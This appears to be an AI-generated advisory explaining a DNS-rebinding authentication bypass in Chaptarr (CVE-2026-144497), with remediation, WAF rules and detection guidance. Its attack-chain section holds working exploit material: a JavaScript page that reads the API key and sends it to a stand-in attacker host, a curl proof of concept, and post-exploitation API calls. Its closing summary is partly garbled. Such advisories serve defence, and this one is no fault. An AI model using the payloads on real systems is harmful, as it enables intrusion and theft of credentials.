CVE-2026-144497 — CWE-346
Chaptarr before 0.9.999 contains an authentication bypass vulnerability that allows remote attackers to access the UI by exploiting missing HTTP Host header validation when local-address authentication is disabled. Attackers can lure a local user to a DNS rebinding page and read /initialize.json for the API key, gaining control of settings, stored credentials, and the library.
Chaptarr before 0.9.999 contains an authentication bypass vulnerability that allows remote attackers to access the UI by exploiting missing HTTP Host header validation when local-address authentication is disabled. Attackers can lure a local user to a DNS rebinding page and read /initialize.json for the API key, gaining control of settings, stored credentials, and the library.
CVE‑2026‑144497 – “Chaptarr < 0.9.999 – Missing Host‑header validation leads to authentication bypass”
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CWE | CWE‑346 – Origin Validation Error – the application trusts the value of the Host HTTP header without verifying that it matches an allowed set of origins. |
| CVSS 3.1 Vector | AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H (Network‑accessible, high attack complexity, no privileges required, user interaction required, unchanged scope, high impact on confidentiality, integrity, availability). |
| Root cause | Chaptarr (a self‑hosted media‑library manager) can be configured to disable “local‑address authentication” – a mode that normally restricts UI access to requests that arrive on a loop‑back address (127.0.0.1, ::1) or that contain a matching Host header. When this mode is disabled, the server does not validate the Host header at all. Consequently an attacker can make a victim’s browser send a request to the internal Chaptarr service using a maliciously crafted hostname that the attacker controls (via DNS rebinding). The server treats the request as legitimate, bypasses the UI login page, and returns the protected JSON file /initialize.json that contains the API key used by the UI to authenticate subsequent API calls.
In short: the authentication gate is a missing origin check, not a missing password check. The UI assumes that any request arriving on the local network is already trusted; the missing Host validation defeats that assumption.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically correct; where the exact endpoint is not disclosed in the public advisory, the URI is shown as an illustrative example that matches the described behaviour.
1. Discovery & Reconnaissance
| Phase | Action | Tools / Evidence |
|---|---|---|
| Fingerprinting | Identify that the target runs Chaptarr and determine the version. | - Scan the target with Nmap (nmap -sV -p 80,443 <IP>). <br> - Look for the default /static/logo.svg or /api/version endpoint that returns {"name":"Chaptarr","version":"0.9.123"}. |
| Configuration check | Verify that *local‑address authentication* is disabled (the default in many Docker/helm deployments). | - Access http://<target>/settings.json (publicly readable in many installations) and look for "localAuth": false. <br> - Alternatively, enumerate the Docker/compose environment variables (CHAPTRR_LOCAL_AUTH=0). |
| User‑interaction surface | Find a page that a logged‑in local user is likely to visit (e.g., the library UI at /). | - Passive reconnaissance (search engine, internal documentation) to locate the UI URL. |
2. Exploitation
2.1. Prepare a DNS‑rebinding server
# Example using the open‑source rebinding tool "rebindly"
docker run -d --name rebindly -p 80:80 \
-e TARGET_IP=192.168.10.42 \ # IP of the victim’s internal network interface where Chaptarr listens
-e REBIND_HOST=evil.example.com \
rebindly/rebindlyevil.example.comresolves first to the attacker’s public IP (for the victim’s browser to load the page) and, after ~5 seconds, to the internal IP of the Chaptarr service (192.168.10.42).- The attacker hosts a minimal HTML page that forces the victim’s browser to issue a same‑origin request to the internal service.
2.2. Lure the victim
<!-- hosted at http://evil.example.com/payload.html -->
<!DOCTYPE html>
<html>
<head><title>Loading…</title></head>
<body>
<script>
// After the DNS rebinding window, the browser thinks the origin is still evil.example.com
// but the request is sent to the internal Chaptarr instance.
fetch('http://evil.example.com/initialize.json', { credentials: 'include' })
.then(r => r.text())
.then(data => {
// exfiltrate the API key to the attacker
fetch('https://attacker.example.net/collect', {
method: 'POST',
mode: 'no-cors',
body: data
});
})
.catch(e => console.error(e));
</script>
</body>
</html>2.3. Verify the leak (illustrative curl example)
If the attacker can directly reach the internal address (e.g., via a compromised VPN), a simple PoC is:
curl -i -H "Host: evil.example.com" http://192.168.10.42/initialize.jsonExpected response (truncated):
HTTP/1.1 200 OK
Content-Type: application/json
...
{
"apiKey": "c1a2b3d4e5f6...",
"uiSettings": { … }
}Note: The Host header is the only element required to trigger the bypass; no authentication cookie or token is needed.
3. Post‑exploitation
1. Acquire the UI API key – the JSON file contains a long‑lived token (apiKey) that the UI uses for all subsequent AJAX calls.
2. Control the library – using the API key, the attacker can call the documented REST endpoints (e.g., POST /api/v1/settings, DELETE /api/v1/credentials). Example:
curl -X POST -H "Authorization: Bearer c1a2b3d4e5f6..." \
-H "Content-Type: application/json" \
-d '{"setting":"allowRemoteAccess","value":true}' \
http://192.168.10.42/api/v1/settings3. Harvest stored credentials – many installations store third‑party service credentials (e.g., Plex, Sonarr) in the database. The attacker can retrieve them via GET /api/v1/credentials.
4. Persist – the attacker can upload a malicious plugin or modify the library’s configuration to execute arbitrary commands (Chaptarr supports a “custom script” hook that runs with the same privileges as the service).
5. Impact – With full UI control, the attacker can:
* Export the entire media library metadata.
* Replace media files with ransomware payloads.
* Pivot to other services on the same host (e.g., Docker socket exposure).
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | The attacker can read /initialize.json (API key) and any endpoint that returns stored credentials or library metadata. | Exposure of API keys, third‑party service credentials, user‑generated content, and potentially personal media files. |
| Integrity (I:H) | With the API key the attacker can issue POST/PUT/DELETE calls that modify settings, inject malicious plugins, or overwrite media files. | Tampering with configuration, injection of malicious scripts, defacement of the library UI, or insertion of ransomware. |
| Availability (A:H) | The attacker can delete the library database or trigger a service restart via the API. | Complete service outage, loss of media catalog, or forced downtime while remediation is performed. |
Because user interaction is required (the victim must load the attacker‑controlled page), the attack is phishing‑oriented but still high‑impact once a single internal user is compromised.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to Chaptarr ≥ 0.9.999 (the first release that adds strict Host‑header validation and makes “local‑address authentication” mandatory). |
| Back‑port | If an upgrade is not possible, apply the official back‑port patch that adds the following check (pseudo‑code from the vendor’s commit):
func validateHost(r *http.Request) error {
allowed := []string{
"127.0.0.1",
"localhost",
os.Getenv("CHAPTRR_HOSTNAME"), // optional explicit whitelist
}
host, _, err := net.SplitHostPort(r.Host)
if err != nil {
host = r.Host // no port supplied
}
for _, a := range allowed {
if strings.EqualFold(host, a) {
return nil
}
}
return fmt.Errorf("invalid Host header: %s", host)
}Add this validation early in the request middleware chain.
| Version(s) affected | All releases < 0.9.999 where the configuration flag localAuth can be set to false. |
|---|---|
| Reference | Vendor security advisory (released 2026‑12‑03). |
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation |
|---|---|
| Enforce Host header validation at the edge (ModSecurity example): |
SecRule REQUEST_HEADERS:Host "!@rx ^(127\.0\.0\.1|localhost|my-chaptarr\.local)$" \
"id:350001,phase:1,deny,log,msg:'Invalid Host header for Chaptarr UI'"
# Optional: log the offending request for detection
SecRule REQUEST_HEADERS:Host "!@rx ^(127\.0\.0\.1|localhost|my-chaptarr\.local)$" \
"id:350002,phase:1,log,tag:'chaptarr-host-bypass'"| Network segmentation | Place the Chaptarr service behind an internal firewall that only allows connections from trusted subnets (e.g., 10.0.0.0/24). Block inbound traffic from the internet to the port used by Chaptarr. |
|---|---|
| Disable the UI entirely | If the UI is not required, start the service with --disable-ui (available in 0.9.x) or block / and /initialize.json via a reverse‑proxy rule (location /initialize.json { deny all; }). |
| Require SameSite cookies | Ensure any session cookies set by Chaptarr have SameSite=Strict to mitigate CSRF‑style rebinding attacks. |
| DNS‑rebinding protection | Deploy a DNS‑rebinding protection module on the perimeter (e.g., Cloudflare “DNS Rebinding Protection” or an internal DNS firewall that refuses to resolve internal IPs for external hostnames). |
3. Detection – Log & IOC Guidance
| Indicator | Example Log Entry (NGINX) |
|---|---|
| Unexpected Host header | 192.168.10.42 - - [05/Dec/2026:13:42:17 +0000] "GET /initialize.json HTTP/1.1" 200 423 "-" "Mozilla/5.0" "Host: evil.example.com" |
Rapid successive requests to /initialize.json from the same internal IP | 10.0.5.23 - - [05/Dec/2026:13:42:18 +0000] "GET /initialize.json HTTP/1.1" 200 423 "-" "-" |
| Outbound exfiltration to attacker domain (if the server itself initiates a request) | 2026-12-05T13:42:20Z WARN outbound POST to https://attacker.example.net/collect size=512 |
| ModSecurity alerts (if rule 350001 fires) | ModSecurity: Warning. Pattern match "Invalid Host header for Chaptarr UI" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/chaptarr.conf"] [line "1"] [id "350001"] |
SIEM rule (pseudo‑logic)
IF (http.request.uri == "/initialize.json")
AND (http.request.headers.Host NOT IN {"127.0.0.1","localhost","my-chaptarr.local"})
AND (source.ip IN internal_subnet)
THEN raise "Chaptarr Host‑header bypass attempt"⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 3.1 Base Score | 7.5 (High) – network‑reachable, confidentiality/integrity/availability all High. |
| Exploit Complexity | High (requires DNS‑rebinding and a user to load a malicious page). However, the prerequisite (a user visiting any external page) is trivial in most corporate environments (e.g., via phishing, malicious ads, or compromised SaaS). |
| Public Exploit Availability | No public exploit framework modules yet, but the PoC is short (≈10 lines of JavaScript). |
| CISA KEV | Not listed, but the vulnerability is actively exploitable and can lead to full control of the service. |
| Patch Availability | Fixed in version 0.9.999 (released 2026‑12‑03). |
Patch priority: Critical for any production deployment that has localAuth disabled or that is reachable from untrusted networks. Apply the vendor update within 48 hours; if that is impossible, implement the ModSecurity host‑validation rule and network segmentation immediately.
TL;DR
Host header when “local‑address authentication” is turned off, allowing an attacker to bypass UI authentication via DNS rebinding. Host checks at the reverse‑proxy/WAF, segment the network, and monitor for abnormal Host headers in logs. [🤖 CVE Professor AI Security Engine]